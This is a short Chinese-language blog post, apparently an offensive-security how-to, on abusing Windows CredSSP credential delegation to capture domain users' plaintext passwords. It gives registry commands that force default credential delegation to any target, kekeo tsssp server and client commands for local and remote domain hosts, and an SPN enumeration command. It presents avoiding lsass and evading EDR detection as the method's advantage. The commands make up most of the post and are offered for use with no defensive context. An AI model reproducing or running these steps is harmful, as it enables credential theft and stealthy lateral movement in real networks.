Credssp
Credssp利用
credssp
CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器
CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)
CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM
原理
综上,如果我们实现以下操作:
- 修改主机A的组策略,设置为自动发送当前用户的凭据
- 在主机B上面实现服务端的功能,接收主机A发送的请求
那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令
CredSSP协议细节可参考:
更近一步,如果我们实现以下操作:
- 修改主机A的组策略,设置为自动发送当前用户的凭据
- 在主机A上面实现服务端的功能,接收主机A自己发送的请求
我们同样能够获得用户的明文口令
操作
通过注册表修改组策略
1
2
3
4
5
6reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *添加后需要用户重新认证平局才会被存储。
域内本机
使用
kekeo
(普通用户权限) :1
2tsssp::server
tsssp::client /target:anyword域内远程
1
2# system权限
tsssp::server远程机器
1
tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint
这里使用的参数为域内计算机帐户对应的SPN
查看test域内所有spn
1
setspn.exe -T test -q */*
优势
不需要利用lsass,绕过edr检测
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!